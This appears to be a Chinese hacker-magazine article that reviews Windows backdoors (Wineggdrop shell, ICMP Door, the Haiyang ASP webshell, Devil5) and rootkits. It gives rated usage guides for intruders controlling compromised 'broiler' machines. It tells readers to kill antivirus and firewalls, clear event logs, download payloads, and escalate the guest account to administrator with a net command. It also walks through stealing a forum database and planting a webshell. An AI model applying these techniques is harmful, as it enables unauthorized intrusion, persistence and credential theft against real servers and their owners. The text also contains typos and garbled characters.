使用范围:win2000/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程度:★★★★☆
查杀难度:★★★★☆
这个后门是扩展后门中很有代表性的一个,功能这全面让人叹为观止,它能实现如下比较有特色的功能:进程管理,可查看,杀进程(支持用进程名或PID来杀进程);注册表管现(查看,删除,增加等功能);服务管理(停止,启动,枚举,配置,删除服务等功能)端口到程序关联功能(fport);系统重启,关电源,注销等功能(reboot,poweroff,shutdown,logoff);嗅探密码功能;安装终端,修改终端端口功能;端口重定向功能(多线程,并且可限制连接者IP);HTTP服务功能(多线程,并且可限制连接者IP);Socd5代理功能(支持两种不同方式验证,可限制连接者IP);克隆账号,检测克隆账户功能(clone,checkclone);加强了的FindpassWord功能(可以得到所有登录用户,包括使用克隆账户远程登录用户密码);HTTP代理(完全匿名,支持oicq、 MSN、mirc等程序);其他辅助功能,http下载,删除日志,系统信息,恢复常用关联,枚举系统账户等。
当网络上刚推出这个后门的时候,非常多的人用它来替换自己原来使用的后门,一时间各处赞扬之声迭起,但多为一些普通的打捞手的心声,其实它和“后门”的原始定义是有出入的:一旦你需要实现越多的功能,那你的程序在执行、隐藏、稳定等方面就需要考虑非常多的问题,一个疏忽就会导致全盘皆败,所以不建议将此后门用在需要非常隐蔽的地方。
运用举例
在安装后门前,需要使用它自带的EditServer.exe程序对服务端进行非常详细的配置,从10个具体配置中,包括了插入线程、密码、IP登录邮件通告等方面,不难看出它的功能是非常强大的,隐蔽性也很强,下面说几个在入侵中常用的功能,相信经常玩入侵的朋友一定能发现它的强大之处:
Fport:列出进程到端口的列表,用于发现系统中运行程序所对应的端口,可以用来检测常见的隐蔽的后门。
Reboot:重启系统,如果你上传并运行了其他后门程序,并需要重启机器以便让后门正常工作,那使用这个命令吧! Uz
Shell:得到一个Dos Shell,这个不多讲了,直接得到服务器或者肉鸡上的cmd shell。
Pskill PID或程序名:用于杀掉特定的服务,比如杀毒软件或者是防火墙。
Execute程序:在后台中执行程序,比如sniffer等。http://ip/文件名 保存文件名:下载程序,直接从网上down一个后门到服务器上。
Installterm端口:在没有安装终端服务的win2k服务版的系统中安装终端服务,重启系统后才生效,并可以自定义连接端口,比如不用3389而用其他端口。
StopService/StartService:停止或者启动某个系统服务,比如telnet。
CleanEvent:删除系统日志。
Redirect:TCP数据转发,这个功能是后门程序中非常出色的一个功能,可以通过某一端口的数据转发来控制内网的机器,在渗透入侵的时候非常管用!
EnumService:列举所有自动启动的服务的资料,比如后门、木马。
RegEdit:进入注册表操作模式,熟悉注册表的使用者终于在后门中找到了福音! !
Findpassword:得到所有登录用户密码,比我们常用的findpass功能可强多了。
总体来讲,Wineggdrop shell是后门程序中很出彩的一个,它经过作者几次大规模的修改和升级,已经趋于稳定,功能的强大当然没得说,但是由于功能太强大,被查杀和怀疑是难以避免的,所以很多人在使用Wineggdrop shell一段时间后就发现肉鸡飞了,其实是很正常的事,我你出不用气馁,其实用很简单的方法就可以很好地提高它的隐蔽性,下文将有说明。
相对于Wineggdrop shell来说,独孤剑客的winshell在功能上就不那么全面了,但是笔者推荐新手更多的使用winshell而不是Wineggdrop shell,因为winshell功能除了获得一个shell以外,只加入了一些重启、关闭服务器的命令,功能相对简单,但完全使用系统自带的cmd来执行命令,对系统学习和掌握也是非常有帮助的!
Winshell和wolf这两者都是国内早期顶尖的后门程序,程序的编制无疑是非常经典的,新手学习时使用这两款后门一定能让你明白很多系统相关东西,了解很多入侵思路和方法。 传统的木马程序常常使用C/S构架,这样的构架很方便控制,也在一定程度上避免了“万能密码”的情况出现,对后门私有化有一定的贡献,这方面分类比较模糊,很多后门可以归结到此类中,比如较巧妙的就是ICMP Door了
类型:系统后门
使用范围:win2000/xp/2003 2Z6
隐蔽程度:★★★★★
使用难度:★★★☆☆
危害程度:★★★★☆
查杀难度:★★★★★
这个后门利用ICMP通道进行通信,所以不开任何端口,只是利用系统本身的ICMP包进行控制安装成系统服务后,开机自动运行,可以穿透很多防火墙——很明显可以看出它的最大特点:不开任何端口~只通过ICMP控制!和上面任何一款后门程序相比,它的控制方式是很特殊的,连80端口都不用开放,不得不佩服务程序编制都在这方面独特的思维角度和眼光!
运用举例
这个后门其实用途最广的地方在于突破网关后对内网计算机的控制,因为很多机密数据都是放在内网计算机上的,而控制内网计算机并不是我们想到位的商业网络进行入侵检测,它的网络内部并不像我们常见的内网那样非常容易入侵和控制,因为该公司本身涉及到一些网络安全的服务,所以内网个人计算机的防护是很到位的,在尝试过很多后门后,最后ICMP Door帮我实现了成功的渗透内网!由此笔者开始爱上这个后门。
首先使用icmpsrv.exe -install参数进行后门的安装,再使用icmpsend.exe IP进行控制,可以用:[http://xxx.xxx.xxx/admin.exe-hkfx.exe]方式下载文件,保存在[url=file://\system32]\system32[/url]目录下,文件名为hkfx.exe,程序名前的“-”不能省去,使用[pslist]还可以列出远程主机的进程名称和pid,再使用[pskill id]就可以杀进程了,同样,输入普通cmd命令,则远程主机也就执行了相关的命令。 ~HF1 ? %
这个后门是采用的c/s构架,必须要使用icmpsend才能激活服务器,但是他也有自己的先天不足:后门依靠ICMP进行通讯,经过冲击波的洗礼后,很少有服务器还接受ICMP包了,很多都屏蔽掉了它,所以用它来控制服务器不是一个好办法,这也是我为什么用它来控制内网计算机的原因了——内网很少有人屏蔽ICMP包吧? 这是ASP脚本方面流传非常广的一个脚本后门了,在经过几次大的改革后,推出了“海阳顶端ASP木马XP版”、“海阳顶端ASP木马红粉佳人版”等功能强大、使用方便的后门,想必经常接触脚本安全的朋友对这些都不会陌生。类型:网页木马
使用范围:支持ASP、WEB访问
使用难度:★☆☆☆☆
危害程序:★★★☆☆
查杀难度:★★★☆☆
服务器系统配置都相对安全,公开的系统漏洞存在的机会很少,于是脚本方面的漏洞就开始火起来。首先我们通过某种途径获得一个服务器的页面权限(比如利用论坛上传达室类型未严格设置、SQL注入后获得ASP系统的上传权限、对已知物理路径的服务器上传特定程序),然后我们可以通过简单的上传ASP程序或者是直接复制海阳项端的代码,然后通过WEB访问这个程序,就能很方便地查阅服务器上的资料了,下面举个简单的便子(由于只是简单的介绍,下文便子不会太难或者太普遍,希望大家理解)。
leadbbs2.77曾经风靡网络,它是个很典型的ASP论坛,屏蔽了很多可以SQL注入的寺方,但是很多傻瓜级别的网络管理员总是喜欢默认安装,然后启用论坛,我们只需要很简单地在IE中输入:WWW。***。COM/BBS/DATA/LEADBBS。MDB就能够直接下载该论坛的数据库了,而且没有MD5加密哦!,我们直接找到管理员的账户和密码,然后登录论坛,到管理界面将论坛的“联系我们”、“帮助”等ASP文件替换成我们的海阳项端代码,然后执行GUEST权限的CMD命令,方便的上传/下载将定程序、远程执行程序等,这样一个隐藏的后门就建好了!取得服务器的SYSTEM权限就看大家自己的办法了。
一般来讲,海洋的功能是非常强大的,而且不容易被查杀(一个朋友采取的方式是:先利用某个脚本漏洞上传网页后门,再通过海洋上传另一个后门到隐蔽的路径,然后通过最后上传的后门来删除第一次上传的海洋,这样后门的存放路径就可以放得非常深了,普通管理员是很难发现的),如果管理员觉得自己可能中了这里边样的后门,可以利用论坛备份来恢复自己的页面系统,再配合系统日志、论坛日志等程序检查系统,发现可疑ASP文件打开看看海洋是很好识别的,再删除就可以了。
脚本方面的后门还有CGI和PHP两面三刀大类,使用原理都差不多,这里就不再多介绍,在黑防论坛也收录了这三种后门,大家可以下载后自己研究。 类型:系统后门
使用范围:win200/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程序:★★★★☆
查杀难度:★★★☆☆
同BITS一样,Devil5也是线程插入式的后门,和BITS不同的是它可以很方便的在GUI界面下按照自己的使用习惯定制端口和需要插入的线程,适合对系统有一定了解的使用都使用,由于是自定义插入线程,所以它更难被查杀,下面我们来看看它的使用。
道德使用它自带的配置程序EDITDEVIL5.EXE对后门进行常规的配置,包括控制端口、插入线程、连接密码、时间间隔等方面关键点是对插入线程的定制,一般设置成系统自带的SVCHOST,然后运行后门就可以控制了。
我们用TELNET连接上去,连接的格式是:TELNET *** 定制的端口,它和其他后门不同之处在于连接后没有提示的界面,每次执行程序也是分开的,必须要每次都有输入密码,比如我们丢掉了服务器和管账户,可以激活GUEST后再将GUEST加到管理员权限,记得每次执行命令后加上“>密码”就可以了:net localgroup administrators guest /add >hkfx,然后你又可以控制服务器了。
很明显示,同榕哥的BITS相比,DEVIL5有一些缺陷:不能通过系统自带端口通讯、执行命令比较麻烦,需要每次输入密码而且不回显示输入内容,很容易出错。但是,它有自己的优势:插入线程可以自已定制,比如设置IE的线程为插入的目标就比较难被查杀:自己提供了专门的查杀工具DELDEVIL5.exe,帮助防护者清理系统;而且它可以任意改名和绑定,使用灵活性上比BITS强……大家选择哪能款就看自己的喜好了。
另外,PortLess BackDoor等工具也是此类的后门,功能强大,隐蔽性稍差,大家有兴趣可以自己研究一下。 如果说上面的后门程序都各有千秋、各有所长的话,它们和经典的root kit 一比简直就是小巫见大巫了,那究竟什么样是root kit呢?
root kit出现于20世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了root kit这个名词。从出现至今,root kit 的技术发展非常迅速,应用越来越广泛,检测难度也越来越大。其中钍对SunOS和Linux两种操作系统的root kit最多。
很多人有一个误解,他们认为root kit 是用作获得系统root访问权限的工具。实际上,root kit是攻击都用来隐蔽自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,进入系统后,攻击者会在侵入的主机中安装root kit,然后他将经常通过root kit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过root kit的嗅探器获得其他系统的用户和密码之后,攻击者就会利用这些信息侵入其他系统。
从*nix系统上迁移到windows系统下的root kit完全沿袭了这些“可怕”的功能!网络上常见的root kit 是内核级后门软件,用户可以通过它隐藏文件、进程、系统服、系统驱动、注册表键和键值、打开的端口以及虚构可用磁盘窨。程序同时也在内存中伪装它所做的改动,并且隐身地控制被隐藏进程。程序安装隐藏后门,注册隐藏系统服务并且安装系统驱动。该后门技术允许植入reDirector,是非常难以查杀的一个东东,让很多网络管员非常头疼!